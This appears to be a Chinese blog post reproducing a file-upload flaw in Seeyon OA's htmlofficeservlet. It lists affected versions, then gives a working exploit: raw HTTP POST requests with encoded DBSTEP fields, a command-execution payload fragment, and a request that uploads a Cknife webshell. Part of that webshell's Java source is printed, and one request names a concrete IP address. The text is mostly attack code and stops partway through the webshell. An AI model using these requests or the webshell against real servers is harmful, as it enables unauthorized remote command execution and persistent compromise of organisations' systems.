linux卸载致远oa,致远oa(seeyon)文件上传漏洞重现及分析

0x00 影响范围

经本人测试，如下

v6.1sp2

a6+v7sp3

A8-v5 v6.1sp1

实际范围不止以上版本。

0x01 漏洞重现

验证：

网上流传的exp：

DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV

OPTION=S3WYOSWLBSGr

currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66

CREATEDATE=wUghPB3szB3Xwg66

RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6

originalFileId=wV66

originalCreateDate=wUghPB3szB3Xwg66

FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6

needReadFile=yRWZdAS6

originalCreateDate=wLSGP4oEzLKAz4=iz=66

"+excuteCmd(request.getParameter("cmd")) + "");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

POC：

//根据exp1修改

a6+v7sp3

发送数据包：

POST /seeyon/htmlofficeservlet HTTP/1.1

Host: xxx.com.cn

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: JSESSIONID=AD5D04D5A82032FCB3C91028ADF9F839; loginPageURL=

Connection: close

Content-Length: 462

DBSTEP V3.0 345 0 21 DBSTEP=OKMLlKlV

OPTION=S3WYOSWLBSGr

currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66

CREATEDATE=wUghPB3szB3Xwg66

RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6

originalFileId=wV66

originalCreateDate=wUghPB3szB3Xwg66

FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdbrJuz7T2dEg6

needReadFile=yRWZdAS6

originalCreateDate=wLSGP4oEzLKAz4=iz=66

only-test-seeyon-rcexxxxxx

EXP0：传Cknife马

v6.1sp2

POST /seeyon/htmlofficeservlet HTTP/1.1

Host: 58.1.1.2:81

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: JSESSIONID=0d218993-e7c3-4caa-8281-42c886e5f42c; loginPageURL=""

Connection: close

Content-Length: 9540

DBSTEP V3.0 348 0 9122 DBSTEP=OKMLlKlV

OPTION=S3WYOSWLBSGr

currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66

CREATEDATE=wUghPB3szB3Xwg66

RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6

originalFileId=wV66

originalCreateDate=wUghPB3szB3Xwg66

FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeAD5cfT2dEg6

needReadFile=yRWZdAS6

originalCreateDate=wLSGP4oEzLKAz4=iz=66

String Pwd = "x";

String cs = "UTF-8";

String EC(String s) throws Exception {

return new String(s.getBytes("ISO-8859-1"),cs);

}

Connection GC(String s) throws Exception {

String[] x = s.trim().split("choraheiheihei");

Class.forName(x[0].trim());

if(x[1].indexOf("jdbc:oracle")!=-1){

return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);

}else{

Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);

if (x.length > 4) {

c.setCatalog(x[4]);

}

return c;

}

}

void AA(StringBuffer sb) throws Exception {

File k = new File("");

File r[] = k.listRoots();

for (int i = 0; i < r.length; i++) {

sb.append(r[i].toString().substring(0, 2));

}

}

void BB(String s, StringBuffer sb) throws Exception {

File oF = new File(s), l[] = oF.listFiles();

String sT, sQ, sF = "";

java.util.Date dt;

SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

for (int i = 0; i < l.length; i++) {

dt = new java.util.Date(l[i].lastModified());

sT = fm.format(dt);

sQ = l[i].canRead() ? "R" : "";

sQ += l[i].canWrite() ? " W" : "";

if (l[i].isDirectory()) {

s